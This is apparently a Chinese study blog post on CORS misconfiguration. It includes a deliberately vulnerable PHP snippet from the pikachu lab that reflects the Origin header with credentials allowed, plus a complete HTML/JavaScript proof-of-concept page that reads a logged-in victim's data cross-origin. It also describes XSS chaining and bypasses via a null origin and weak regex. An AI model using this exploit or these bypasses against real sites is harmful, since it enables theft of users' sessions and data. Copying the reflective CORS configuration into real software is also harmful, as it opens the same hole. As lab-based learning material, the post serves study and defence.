前言

最近了解到了CORS漏洞,赶紧来学一下。

CORS

概念

同源策略

在讲CORS之前,要先知道同源策略这个机制,这个机制是浏览器的安全核心,它规定,如果两个页面的协议、端口和域名不完全相同,那么它们就是不同源的。浏览器会限制不同源的文档或脚本相互读取数据(例如,防止站点 A 的脚本读取站点 B 的 Cookie 或页面内容)。

CORS

而在实际的web开发中,经常需要跨域请求数据,例如:前端在www.a.com,api接口在api.b.com这样前端去向api进行一个请求,就是跨域的请求。CORS就是用来打破同源策略的,它通过在服务端的 HTTP 响应头中添加特定的字段,告诉浏览器:“我允许这个外域的页面来读取我的数据”。

CORS漏洞

CORS 漏洞并不是 CORS 机制本身的设计缺陷,而是服务端开发人员在配置 CORS 策略时出现了错误,导致权限放得过宽。
当服务端没有严格校验请求的来源(Origin),并且允许跨域携带凭证(如 Cookie)时,攻击者就可以通过构造恶意网页,欺骗受害者访问,从而在受害者不知情的情况下,以受害者的身份向存在漏洞的网站发起请求并窃取敏感数据。

漏洞的核心

是和两个关键的HTTP响应头有关

  1. Access-Control-Allow-Origin:指定哪些域可以访问该资源。
  2. Access-Control-Allow-Credentials:指定是否允许浏览器发送Cookie、HTTP认证信息等凭证。如果设置为true,则允许。
    当然还有一个注意点:
    1
    2
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Credentials: true
    如果是任意域都能访问的,而且为true的,是不能带Cookie出来的。

漏洞利用

在pikachu的abc.php文件中配置有缺陷的CORS策略
image.png

1
2
3
4
5
6
7
8
9
if (isset($_SERVER['HTTP_ORIGIN'])) {  

header("Access-Control-Allow-Origin: {$_SERVER['HTTP_ORIGIN']}");
//header("Access-Control-Allow-Origin: www.test.com");
header('Access-Control-Allow-Credentials: true');

header('Access-Control-Max-Age: 86400'); // cache for 1 day

}

我们来抓个包测试一下。
image.png
这就显示存在漏洞。
那么现在来模拟一下,就比如这个站点是有CORS漏洞的,A是攻击方,B是受害方,B是这个站点的管理员,并且他已经登录了这个站点.A开了一个新的网站并做了如下配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>CORS 漏洞测试 PoC</title>
<style>
body { font-family: Arial, sans-serif; padding: 20px; }
#result { background-color: #f4f4f4; padding: 10px; border: 1px solid #ddd; margin-top: 10px; white-space: pre-wrap; word-wrap: break-word; }
</style>
</head>
<body>
<h2>CORS 漏洞利用测试</h2>
<p>此页面尝试跨域获取目标网站的敏感数据。如果目标网站存在 CORS 配置不当(允许 Origin 反射且允许携带凭证),数据将被窃取并显示在下方。</p>

<div>
<strong>目标 API 接口:</strong>
<input type="text" id="targetUrl" value="http://localhost/pikachu/vul/infoleak/abc.php" style="width: 300px;">
<button onclick="triggerCORS()">执行攻击</button>
</div>

<h3>窃取到的数据:</h3>
<div id="result">等待执行...</div>

<script>
function triggerCORS() {
const target = document.getElementById('targetUrl').value;
const resultDiv = document.getElementById('result');
resultDiv.innerText = "正在请求中...";

// 使用 Fetch API 发起跨域请求
fetch(target, {
method: 'GET', // 根据目标接口类型,也可以改为 POST

// 【核心关键点】
// 告诉浏览器在发送请求时,必须带上目标网站的 Cookie等认证信息
credentials: 'include'
})
.then(response => {
if (response.ok) {
return response.text();
} else {
throw new Error(`请求失败。HTTP 状态码: ${response.status}。可能是没有漏洞,或者接口不存在。`);
}
})
.then(data => {
// 如果成功获取到数据,说明漏洞存在!
// 在真实的攻击中,这里的代码会将 data 发送到攻击者自己的服务器上
resultDiv.innerText = data;
console.log("成功获取到数据:", data);
alert("CORS 漏洞利用成功!");
})
.catch(error => {
resultDiv.innerText = "跨域请求被浏览器拦截或请求失败。\n\n详情查阅浏览器控制台(F12)。\n错误信息: " + error.message;
console.error("CORS 失败:", error);
});
}
</script>
</body>
</html>

这是ai写的获取到响应并发送到vps上(也可以更改配置,获取cookie),假设可以获取cookie
这个网站域名是www.aaa.com/111.html,A将这个网站发送给B,并诱使B点击这个网站,获取到B的cookie,发送到我们的vps上。
image.png
至此攻击完成

CORS的进阶

CORS结合XSS

结合xss的利用,应该是存储型的xss。原理也很简单就是将www.aaa.com/111.html存储到存在xss漏洞的站点里,诱惑B去点击,获取到Cookie,或者直接配置恶意的javascript代码存在xss服务器中,然后诱惑b去点击获取Cookie

1
<a href="http://localhost/111.html">11111</a>

image.png
当点击111时,可以直接跳转到111.html
image.png
获取到敏感信息,xss主要方便钓鱼用。

关于CORS的绕过

  1. 如果开发者配置了一些waf,但是信任null的话(也就是配置Access-Control-Allow-Origin: null),攻击者可以在恶意网页中嵌入一个带有 sandbox 属性的 iframe,从这个 iframe 中发起的跨域请求,其 Origin 就是 null。如果服务端信任 null 并允许凭证,数据就会被窃取。
  2. 如果是配置了不严谨的正则匹配/域名校验,就是打算允许 target.com,但用了弱匹配,导致攻击者注册 target.com.evil.comnot-target.com 也能绕过。还有在正则中 . 代表任意字符。如果想匹配 api.target.com,但写成了 api.target.com(没有转义 .),那么攻击者注册 apidtarget.com 也能通过校验。

参考

CORS跨域访问漏洞 - Erichas - 博客园
CORS结合XSS利用 - FreeBuf网络安全行业门户